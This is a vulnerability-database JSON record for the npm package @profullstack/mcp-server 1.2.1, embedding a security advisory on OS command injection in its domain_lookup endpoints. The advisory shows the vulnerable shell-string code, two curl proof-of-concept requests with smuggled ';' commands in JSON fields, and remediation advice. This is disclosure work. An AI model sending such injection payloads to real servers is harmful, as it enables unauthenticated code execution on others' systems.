{"url":"http://public2.vulnerablecode.io/api/packages/1066815?format=json","purl":"pkg:npm/%40profullstack/mcp-server@1.2.1","type":"npm","namespace":"@profullstack","name":"mcp-server","version":"1.2.1","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/360304?format=json","vulnerability_id":"VCID-2vcd-fsks-mfcm","summary":"@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module\n<html>\n<body>\n<!--StartFragment--><html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>\n\nField | Value\n-- | --\nProject | profullstack/mcp-server\nRepository | https://github.com/profullstack/mcp-server\nAffected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9\nAffected Module | mcp_modules/domain_lookup\nAffected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk\nVulnerability Type | CWE-78: OS Command Injection\nCVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\nAuthentication Required | None\nDefault Network Exposure | Bind address 0.0.0.0, no global authentication middleware\nValidated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)\n\n\n<hr>\n<h2>Summary</h2>\n<p>The <code>domain_lookup</code> module assembles a shell command string by concatenating user-controlled input (<code>domains</code> / <code>keywords</code>) and passes it to <code>execAsync()</code>. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.</p>\n<hr>\n<h2>Affected Code</h2>\n<ul>\n<li><code>index.js:27</code> — server binds to <code>0.0.0.0</code>, no global auth middleware.</li>\n<li><code>mcp_modules/domain_lookup/index.js:52</code> — registers <code>POST /domain-lookup/check</code>.</li>\n<li><code>mcp_modules/domain_lookup/index.js:55</code> — registers <code>POST /domain-lookup/bulk</code>.</li>\n<li><code>mcp_modules/domain_lookup/src/service.js:19, :20</code> — <code>buildTldxCommand()</code> concatenates user input into the shell string.</li>\n<li><code>mcp_modules/domain_lookup/src/service.js:114, :115, :142</code> — <code>execAsync(command)</code> sink reached from both routes.</li>\n</ul>\n<hr>\n<h2>Vulnerable Code</h2>\n<p><strong>File:</strong> <code>mcp_modules/domain_lookup/src/service.js</code></p>\n<p><strong>Step 1 — User input concatenated directly into a shell string:</strong></p>\n<pre><code class=\"language-js\">buildTldxCommand(keywords, options = {}) {\n  let command = `tldx ${keywords.join(' ')}`;\n\n  if (options.prefixes?.length) {\n    command += ` --prefixes ${options.prefixes.join(',')}`;\n  }\n}\n</code></pre>\n<p><strong>Step 2 — That shell string is executed as-is:</strong></p>\n<pre><code class=\"language-js\">async checkDomainAvailability(domains, options = {}) {\n  try {\n    const command = this.buildTldxCommand(domains, options);\n    const { stdout, stderr } = await execAsync(command);\n</code></pre>\n<p>There is no sanitization between Step 1 and Step 2. Shell metacharacters (<code>;</code>, <code>|</code>, <code>$()</code>, etc.) in user input are interpreted by <code>/bin/sh</code> at execution time.</p>\n<hr>\n<h2>Proof of Concept</h2>\n<p>Tested against a local Docker build of the affected commit (<code>0.0.0.0:13000-&gt;3000/tcp</code>).</p>\n<h3>PoC A — <code>POST /domain-lookup/check</code></h3>\n<p><strong>Request:</strong></p>\n<pre><code class=\"language-bash\">curl -X POST http://localhost:13000/domain-lookup/check \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"domains\":[\"example.com; echo final_check_poc &gt; /tmp/verify-exports/final_check.txt; #\"]}'\n</code></pre>\n<p><strong>Response:</strong></p>\n<pre><code>HTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:39 GMT\n\n{\"error\":\"tldx command failed: tldx command failed: /bin/sh: tldx: not found\\n\"}\n</code></pre>\n<p><strong>Side effect confirmed inside container:</strong></p>\n<pre><code>$ cat /tmp/verify-exports/final_check.txt\nfinal_check_poc\n</code></pre>\n<h3>PoC B — <code>POST /domain-lookup/bulk</code></h3>\n<p><strong>Request:</strong></p>\n<pre><code class=\"language-bash\">curl -X POST http://localhost:13000/domain-lookup/bulk \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"keywords\":[\"safe\",\"x; echo final_bulk_poc &gt; /tmp/verify-exports/final_bulk.txt; #\"]}'\n</code></pre>\n<p><strong>Response:</strong></p>\n<pre><code>HTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:40 GMT\n\n{\"error\":\"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\\n\"}\n</code></pre>\n<p><strong>Side effect confirmed inside container:</strong></p>\n<pre><code>$ cat /tmp/verify-exports/final_bulk.txt\nfinal_bulk_poc\n</code></pre>\n<h3>Note on HTTP 500</h3>\n<p>Both requests return HTTP 500 because <code>tldx</code> is not installed in the test container. The injected commands are interpreted by the shell <strong>before</strong> <code>tldx</code> is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where <code>tldx</code> is installed, both the intended function and the injected commands execute.</p>\n<hr>\n<h2>Impact</h2>\n<ul>\n<li>Unauthenticated remote code execution as the server process UID.</li>\n<li>Full read/write access to any file the server process can access.</li>\n<li>Potential for outbound connections, credential theft, persistence, and lateral movement.</li>\n<li>Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.</li>\n</ul>\n<hr>\n<h2>Suggested Remediation</h2>\n<ol>\n<li>Replace <code>execAsync(command)</code> with <code>child_process.execFile</code> or <code>spawn('tldx', [keyword1, keyword2, ...])</code> — pass arguments as an array, never as a concatenated shell string.</li>\n<li>Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.</li>\n<li>Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.</li>\n<li>Default the server bind address to <code>127.0.0.1</code> and require explicit opt-in for non-loopback bindings.</li>\n</ol>\n<hr>\n<h2>Verification Environment</h2>\n<ul>\n<li>Local Docker container only; no third-party deployment was tested.</li>\n<li>The container does not include the <code>tldx</code> binary; this is intentional for safe local PoC and does not affect exploitability.</li>\n</ul></body></html><!--EndFragment-->\n</body>\n</html>","references":[{"reference_url":"https://github.com/profullstack/mcp-server","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/profullstack/mcp-server"},{"reference_url":"https://github.com/profullstack/mcp-server/security/advisories/GHSA-v6wj-c83f-v46x","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/profullstack/mcp-server/security/advisories/GHSA-v6wj-c83f-v46x"},{"reference_url":"https://github.com/advisories/GHSA-v6wj-c83f-v46x","reference_id":"GHSA-v6wj-c83f-v46x","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-v6wj-c83f-v46x"}],"fixed_packages":[],"aliases":["GHSA-v6wj-c83f-v46x"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-2vcd-fsks-mfcm"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540profullstack/mcp-server@1.2.1"}